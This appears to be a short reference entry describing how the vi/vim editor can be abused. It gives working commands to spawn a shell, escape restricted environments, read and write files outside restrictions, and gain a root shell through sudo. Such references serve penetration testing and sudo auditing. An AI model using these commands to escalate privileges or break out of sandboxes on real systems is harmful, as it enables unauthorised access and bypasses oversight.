Modern Unix systems run vim binary when vi is called.

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

vi -c ':!/bin/sh' /dev/null

vi
:set shell=/bin/sh
:shell

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

vi file_to_write
iDATA
^[
w

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

vi file_to_read

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

sudo vi -c ':!/bin/sh' /dev/null